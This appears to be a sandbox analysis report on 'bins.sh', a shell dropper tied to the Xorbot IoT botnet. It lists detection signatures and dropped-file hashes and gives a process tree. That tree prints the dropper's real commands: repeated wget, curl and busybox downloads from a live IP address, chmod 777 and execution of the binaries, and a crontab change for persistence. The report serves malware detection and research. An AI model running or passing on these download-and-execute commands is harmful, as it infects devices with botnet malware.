Analysis

  • max time kernel
    114s
  • max time network
    151s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20250619-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20250619-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    10/09/2025, 21:32

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250910-1d2rtatzhs
  • SHA256 63ca86a8ed88f82eacad91d7e16454e7ee0a1384098b9e3a4641c14baa54debf
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (561) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 21 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:712
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:715
      • /usr/bin/wget
        wget http://178.16.54.252/bins/WZTJzwFDVCFcbzsF01QLoO3EVegf73aaSz
        2⤵
        • Writes file to tmp directory
        PID:720
      • /usr/bin/curl
        curl -O http://178.16.54.252/bins/WZTJzwFDVCFcbzsF01QLoO3EVegf73aaSz
        2⤵
        • Writes file to tmp directory
        PID:738
      • /bin/busybox
        /bin/busybox wget http://178.16.54.252/bins/WZTJzwFDVCFcbzsF01QLoO3EVegf73aaSz
        2⤵
        • Writes file to tmp directory
        PID:742
      • /bin/chmod
        chmod 777 WZTJzwFDVCFcbzsF01QLoO3EVegf73aaSz
        2⤵
        • File and Directory Permissions Modification
        PID:743
      • /tmp/WZTJzwFDVCFcbzsF01QLoO3EVegf73aaSz
        ./WZTJzwFDVCFcbzsF01QLoO3EVegf73aaSz
        2⤵
          PID:744
        • /bin/rm
          rm WZTJzwFDVCFcbzsF01QLoO3EVegf73aaSz
          2⤵
            PID:746
          • /usr/bin/wget
            wget http://178.16.54.252/bins/yiqAVpC165JzJUtfbXUM1xvCcVLZ8qI2ms
            2⤵
            • Writes file to tmp directory
            PID:747
          • /usr/bin/curl
            curl -O http://178.16.54.252/bins/yiqAVpC165JzJUtfbXUM1xvCcVLZ8qI2ms
            2⤵
            • Writes file to tmp directory
            PID:748
          • /bin/busybox
            /bin/busybox wget http://178.16.54.252/bins/yiqAVpC165JzJUtfbXUM1xvCcVLZ8qI2ms
            2⤵
            • Writes file to tmp directory
            PID:749
          • /bin/chmod
            chmod 777 yiqAVpC165JzJUtfbXUM1xvCcVLZ8qI2ms
            2⤵
            • File and Directory Permissions Modification
            PID:750
          • /tmp/yiqAVpC165JzJUtfbXUM1xvCcVLZ8qI2ms
            ./yiqAVpC165JzJUtfbXUM1xvCcVLZ8qI2ms
            2⤵
              PID:751
            • /bin/rm
              rm yiqAVpC165JzJUtfbXUM1xvCcVLZ8qI2ms
              2⤵
                PID:755
              • /usr/bin/wget
                wget http://178.16.54.252/bins/iiBPwiArAtsjB5GkZe78YXXGm2Fw3twI2u
                2⤵
                • Writes file to tmp directory
                PID:756
              • /usr/bin/curl
                curl -O http://178.16.54.252/bins/iiBPwiArAtsjB5GkZe78YXXGm2Fw3twI2u
                2⤵
                • Writes file to tmp directory
                PID:769
              • /bin/busybox
                /bin/busybox wget http://178.16.54.252/bins/iiBPwiArAtsjB5GkZe78YXXGm2Fw3twI2u
                2⤵
                • Writes file to tmp directory
                PID:785
              • /bin/chmod
                chmod 777 iiBPwiArAtsjB5GkZe78YXXGm2Fw3twI2u
                2⤵
                • File and Directory Permissions Modification
                PID:790
              • /tmp/iiBPwiArAtsjB5GkZe78YXXGm2Fw3twI2u
                ./iiBPwiArAtsjB5GkZe78YXXGm2Fw3twI2u
                2⤵
                  PID:792
                • /bin/rm
                  rm iiBPwiArAtsjB5GkZe78YXXGm2Fw3twI2u
                  2⤵
                    PID:797
                  • /usr/bin/wget
                    wget http://178.16.54.252/bins/W72WwxcF4YE3X8Fb5pCFHsNoi5Ey3FCWYU
                    2⤵
                    • Writes file to tmp directory
                    PID:799
                  • /usr/bin/curl
                    curl -O http://178.16.54.252/bins/W72WwxcF4YE3X8Fb5pCFHsNoi5Ey3FCWYU
                    2⤵
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:807
                  • /bin/busybox
                    /bin/busybox wget http://178.16.54.252/bins/W72WwxcF4YE3X8Fb5pCFHsNoi5Ey3FCWYU
                    2⤵
                    • Writes file to tmp directory
                    PID:808
                  • /bin/chmod
                    chmod 777 W72WwxcF4YE3X8Fb5pCFHsNoi5Ey3FCWYU
                    2⤵
                    • File and Directory Permissions Modification
                    PID:809
                  • /tmp/W72WwxcF4YE3X8Fb5pCFHsNoi5Ey3FCWYU
                    ./W72WwxcF4YE3X8Fb5pCFHsNoi5Ey3FCWYU
                    2⤵
                      PID:810
                    • /bin/rm
                      rm W72WwxcF4YE3X8Fb5pCFHsNoi5Ey3FCWYU
                      2⤵
                        PID:812
                      • /usr/bin/wget
                        wget http://178.16.54.252/bins/vUsV85aeE6dk8hpW0vLPaoVHbbW88gvfuZ
                        2⤵
                        • Writes file to tmp directory
                        PID:813
                      • /usr/bin/curl
                        curl -O http://178.16.54.252/bins/vUsV85aeE6dk8hpW0vLPaoVHbbW88gvfuZ
                        2⤵
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:822
                      • /bin/busybox
                        /bin/busybox wget http://178.16.54.252/bins/vUsV85aeE6dk8hpW0vLPaoVHbbW88gvfuZ
                        2⤵
                        • Writes file to tmp directory
                        PID:835
                      • /bin/chmod
                        chmod 777 vUsV85aeE6dk8hpW0vLPaoVHbbW88gvfuZ
                        2⤵
                        • File and Directory Permissions Modification
                        PID:842
                      • /tmp/vUsV85aeE6dk8hpW0vLPaoVHbbW88gvfuZ
                        ./vUsV85aeE6dk8hpW0vLPaoVHbbW88gvfuZ
                        2⤵
                          PID:843
                        • /bin/rm
                          rm vUsV85aeE6dk8hpW0vLPaoVHbbW88gvfuZ
                          2⤵
                            PID:847
                          • /usr/bin/wget
                            wget http://178.16.54.252/bins/esT0ZviJFwXMsIrYAazWVSMLiOZcljMLbI
                            2⤵
                            • Writes file to tmp directory
                            PID:848
                          • /usr/bin/curl
                            curl -O http://178.16.54.252/bins/esT0ZviJFwXMsIrYAazWVSMLiOZcljMLbI
                            2⤵
                            • Reads runtime system information
                            • Writes file to tmp directory
                            PID:851
                          • /bin/busybox
                            /bin/busybox wget http://178.16.54.252/bins/esT0ZviJFwXMsIrYAazWVSMLiOZcljMLbI
                            2⤵
                            • Writes file to tmp directory
                            PID:852
                          • /bin/chmod
                            chmod 777 esT0ZviJFwXMsIrYAazWVSMLiOZcljMLbI
                            2⤵
                            • File and Directory Permissions Modification
                            PID:853
                          • /tmp/esT0ZviJFwXMsIrYAazWVSMLiOZcljMLbI
                            ./esT0ZviJFwXMsIrYAazWVSMLiOZcljMLbI
                            2⤵
                              PID:854
                            • /bin/rm
                              rm esT0ZviJFwXMsIrYAazWVSMLiOZcljMLbI
                              2⤵
                                PID:856
                              • /usr/bin/wget
                                wget http://178.16.54.252/bins/sE4azLyu5itm4xcKBMEr6LOWEfsq8hLxRI
                                2⤵
                                • Writes file to tmp directory
                                PID:857
                              • /usr/bin/curl
                                curl -O http://178.16.54.252/bins/sE4azLyu5itm4xcKBMEr6LOWEfsq8hLxRI
                                2⤵
                                • Writes file to tmp directory
                                PID:858
                              • /bin/busybox
                                /bin/busybox wget http://178.16.54.252/bins/sE4azLyu5itm4xcKBMEr6LOWEfsq8hLxRI
                                2⤵
                                • Writes file to tmp directory
                                PID:859
                              • /bin/chmod
                                chmod 777 sE4azLyu5itm4xcKBMEr6LOWEfsq8hLxRI
                                2⤵
                                • File and Directory Permissions Modification
                                PID:860
                              • /tmp/sE4azLyu5itm4xcKBMEr6LOWEfsq8hLxRI
                                ./sE4azLyu5itm4xcKBMEr6LOWEfsq8hLxRI
                                2⤵
                                • Renames itself
                                • Reads runtime system information
                                PID:861
                                • /bin/sh
                                  sh -c "crontab -l"
                                  3⤵
                                    PID:863
                                    • /usr/bin/crontab
                                      crontab -l
                                      4⤵
                                        PID:864
                                    • /bin/sh
                                      sh -c "crontab -"
                                      3⤵
                                        PID:865
                                        • /usr/bin/crontab
                                          crontab -
                                          4⤵
                                          • Creates/modifies Cron job
                                          PID:866
                                    • /bin/rm
                                      rm sE4azLyu5itm4xcKBMEr6LOWEfsq8hLxRI
                                      2⤵
                                        PID:868
                                      • /usr/bin/wget
                                        wget http://178.16.54.252/bins/RbkX1D88jFJWoNh3oaohowuq4zziE2aJdk
                                        2⤵
                                          PID:871

                                      Network

                                            MITRE ATT&CK Enterprise v16

                                            Replay Monitor

                                            Loading Replay Monitor...

                                            Downloads

                                            W72WwxcF4YE3X8Fb5pCFHsNoi5Ey3FCWYU

                                            • Path /tmp/W72WwxcF4YE3X8Fb5pCFHsNoi5Ey3FCWYU
                                            • Size 152KB
                                            • SHA256 f39b67fff1f106fb1b4fa9beb386427c8e7eb010f306ad0445da70bffc855f2e
                                            • MD5 SHA1 SHA512 SSDEEP

                                            WZTJzwFDVCFcbzsF01QLoO3EVegf73aaSz

                                            • Path /tmp/WZTJzwFDVCFcbzsF01QLoO3EVegf73aaSz
                                            • Size 113KB
                                            • SHA256 de5fb68023465cb5d8ace412e11032d98a41bd6af2a83245c046020530130496
                                            • MD5 SHA1 SHA512 SSDEEP

                                            esT0ZviJFwXMsIrYAazWVSMLiOZcljMLbI

                                            • Path /tmp/esT0ZviJFwXMsIrYAazWVSMLiOZcljMLbI
                                            • Size 141KB
                                            • SHA256 87f11a3ee2486bc4845a28465c2e70d2d9f98725edf4a73c3359c23a43ed74b7
                                            • MD5 SHA1 SHA512 SSDEEP

                                            iiBPwiArAtsjB5GkZe78YXXGm2Fw3twI2u

                                            • Path /tmp/iiBPwiArAtsjB5GkZe78YXXGm2Fw3twI2u
                                            • Size 178KB
                                            • SHA256 9c683b0be86d4cd274a7a16073bdf092218f259b055a72f848d589574e9b8084
                                            • MD5 SHA1 SHA512 SSDEEP

                                            sE4azLyu5itm4xcKBMEr6LOWEfsq8hLxRI

                                            • Path /tmp/sE4azLyu5itm4xcKBMEr6LOWEfsq8hLxRI
                                            • Size 152KB
                                            • SHA256 d8018e31b77b135ed300a988757f409347d013b76f9c9a4972e48cb715f45967
                                            • MD5 SHA1 SHA512 SSDEEP

                                            vUsV85aeE6dk8hpW0vLPaoVHbbW88gvfuZ

                                            • Path /tmp/vUsV85aeE6dk8hpW0vLPaoVHbbW88gvfuZ
                                            • Size 118KB
                                            • SHA256 85758df12964024af3ae829e3630f9ad5de7c55dae00181198033da8816e3293
                                            • MD5 SHA1 SHA512 SSDEEP

                                            yiqAVpC165JzJUtfbXUM1xvCcVLZ8qI2ms

                                            • Path /tmp/yiqAVpC165JzJUtfbXUM1xvCcVLZ8qI2ms
                                            • Size 102KB
                                            • SHA256 cb4a3665ebd12bdb094b9fc188793c67ec3008363a49b1dde00d488b54df984b
                                            • MD5 SHA1 SHA512 SSDEEP

                                            tmp.6w8GyV

                                            • Path /var/spool/cron/crontabs/tmp.6w8GyV
                                            • Size 210B
                                            • SHA256 432dfb5f5e961d988d6fd805995710976a3b66c620e609db83dc3f098869a19a
                                            • MD5 SHA1 SHA512